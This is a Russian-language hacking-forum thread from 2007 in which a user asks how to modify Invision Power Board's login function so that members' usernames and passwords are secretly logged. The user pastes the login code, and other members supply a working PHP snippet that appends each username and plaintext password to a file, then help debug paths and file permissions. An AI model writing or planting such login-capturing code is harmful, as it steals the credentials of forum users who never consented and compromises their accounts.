HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #391  
Старый 30.08.2007, 23:24
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
С нами: 9957771

Репутация: 4
По умолчанию

Подскажите пожалуйста, где и что в ipb нужно прописать что бы перехватывались логин и пароль...
путь вроде такой /***/sources/action_public/login.php
 
Ответить с цитированием

  #392  
Старый 30.08.2007, 23:59
Zitt
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
С нами: 10533245

Репутация: 773


По умолчанию

Нужно после функции афторицации прописать чтоб они в фаил записывались.. была такая тема на ачате....
 
Ответить с цитированием

  #393  
Старый 31.08.2007, 01:05
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
С нами: 9957771

Репутация: 4
Unhappy

PHP код:
 /*-------------------------------------------------------------------------*/
    // DO LOG IN
    /*-------------------------------------------------------------------------*/
    
    
function do_log_in()
    {
        
//-----------------------------------------
        // INIT
        //-----------------------------------------
        
        
$url    "";
        
$member = array();
        
        
//-----------------------------------------
        // Load handler...
        //-----------------------------------------
        
        
require_once( ROOT_PATH.'sources/handlers/han_login.php' );
        
$this->han_login           =  new han_login();
        
$this->han_login->ipsclass =& $this->ipsclass;
        
$this->han_login->init();
        
        
//-----------------------------------------
        // Make sure the username and password were entered
        //-----------------------------------------
        
        
if ( $_POST['UserName'] == "" )
        {
            if( 
$this->ipsclass->vars['ipbli_usertype'] == 'username' )
            {
                
$this->ipsclass->Error( array( 'LEVEL' => 1'MSG' => 'no_username' ) );
            }
            else
            {
                
$this->ipsclass->Error( array( 'LEVEL' => 1'MSG' => 'no_email_login' ) );
            }
        }
    
         if ( 
$_POST['PassWord'] == "" )
         {
            
$this->ipsclass->Error( array( 'LEVEL' => 1'MSG' => 'pass_blank' ) );
        }   
        
        
//-----------------------------------------
        // Check for input length
        //-----------------------------------------
        
        
if ( $this->ipsclass->vars['ipbli_usertype'] == 'username' )
        {
            if ( 
$this->ipsclass->txt_mb_strlen$_POST['UserName'] ) > 32 )
            {
                
$this->ipsclass->Error( array( LEVEL => 1MSG => 'username_long' ) );
            }
            
            
$username strtolower(str_replace'|''|'$this->ipsclass->input['UserName']) );
        }
        else
        {
            
$username strtolowertrim$this->ipsclass->input['UserName'] ) );
        }
        
        if ( 
$this->ipsclass->txt_mb_strlen$_POST['PassWord'] ) > 32)
        {
            
$this->ipsclass->Error( array( LEVEL => 1MSG => 'pass_too_long' ) );
        }
        
        
$password md5$this->ipsclass->input['PassWord'] );
        
        
//-----------------------------------------
        // Check auth
        //-----------------------------------------
        
        
$this->han_login->login_authenticate$username$this->ipsclass->input['PassWord'] );
        
        
//-----------------------------------------
        // Check return code...
        //-----------------------------------------
        
        
$member $this->han_login->member;
        
        if ( ( ! 
$member['id'] ) or ( $this->han_login->return_code == 'NO_USER' ) )
        {
            
$this->log_in_form'wrong_name' );
        }
        
        if ( 
$this->han_login->return_code != 'SUCCESS' )
        {
            if ( 
$this->han_login->return_code == 'ACCOUNT_LOCKED' )
            {
                
$extra "<!-- -->";
                
                if( 
$this->ipsclass->vars['ipb_bruteforce_unlock'] )
                {
                    if( 
$this->han_login->account_unlock )
                    {
                        
$time time() - $this->han_login->account_unlock;

                        
$time = ( $this->ipsclass->vars['ipb_bruteforce_period'] - ceil$time 60 ) > ) ? $this->ipsclass->vars['ipb_bruteforce_period'] - ceil$time 60 ) : 1;
                        
                        
$extra sprintf$this->ipsclass->lang['bruteforce_account_unlock'], $time );
                    }
                }

                
$this->ipsclass->Error( array( 'LEVEL' => 5'MSG' => 'bruteforce_account_lock''EXTRA' => $extra ) );
            }
            else
            {
                
$this->log_in_form'wrong_auth' );
            }
        }
        
        
//----------------------------------------- 
Что и куда нужно вставить, чтобы логины и пароли записывались в отдельный файлик...

Последний раз редактировалось Reanimat0R; 31.08.2007 в 01:09..
 
Ответить с цитированием

  #394  
Старый 31.08.2007, 07:33
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
С нами: 9957771

Репутация: 4
По умолчанию

Ну кто поможет?
 
Ответить с цитированием

  #395  
Старый 31.08.2007, 11:14
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

Вставь этот код:

Цитата:
$fp = fopen("login.log", "a+");
$line = sprintf("%s: %s:%s", date("d.m.y H:i:s"), $username, $this->ipsclass->input['PassWord']);
fputs($fp, $line);
fclose($fp);
после:

Цитата:
//-----------------------------------------
// Check auth
//-----------------------------------------
 
Ответить с цитированием

  #396  
Старый 31.08.2007, 11:38
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
С нами: 9957771

Репутация: 4
По умолчанию

Что-то не так, файл с логами не создается
 
Ответить с цитированием

  #397  
Старый 31.08.2007, 11:40
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами: 10160966

Репутация: 1719


По умолчанию

Цитата:
Сообщение от Reanimat0R  
Что-то не так, файл с логами не создается
создай вручную и права поставь 755
либо на каталог 777 кажется.
 
Ответить с цитированием

  #398  
Старый 31.08.2007, 11:48
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

n1†R0x, всё верно.

Reanimat0R, ты хорошо посмотри... Он создаётся в текущей директории скрипта, то есть текущей для основного скрипта, который инклудит изменённый тобой. В общем для верности пропиши путь к логу, что-то типа:

Цитата:
$fp = fopen("/var/www/html/login.log", "a+");
Путь разумеется на твоём серве другой...
 
Ответить с цитированием

  #399  
Старый 31.08.2007, 12:12
Reanimat0R
Новичок
Регистрация: 10.06.2007
Сообщений: 26
С нами: 9957771

Репутация: 4
По умолчанию

Блин...Что-то все равно не так...
Вот сам файлик:
http://slil.ru/24799099
 
Ответить с цитированием

  #400  
Старый 31.08.2007, 12:21
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

Кстати, код немного поправь:

Цитата:
$fp = fopen("/www/c6forum/sources/action_public/logi.txt", "a+");
$line = sprintf("%s: %s:%s\n", date("d.m.y H:i:s"), $username, $this->ipsclass->input['PassWord']);
fputs($fp, $line);
fclose($fp);
А то не кошерно когда оно в одну строчку всё лепит... А вообще ты пробовал ставить на каталог в который пишешь права rwxrwxrwx (777)?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.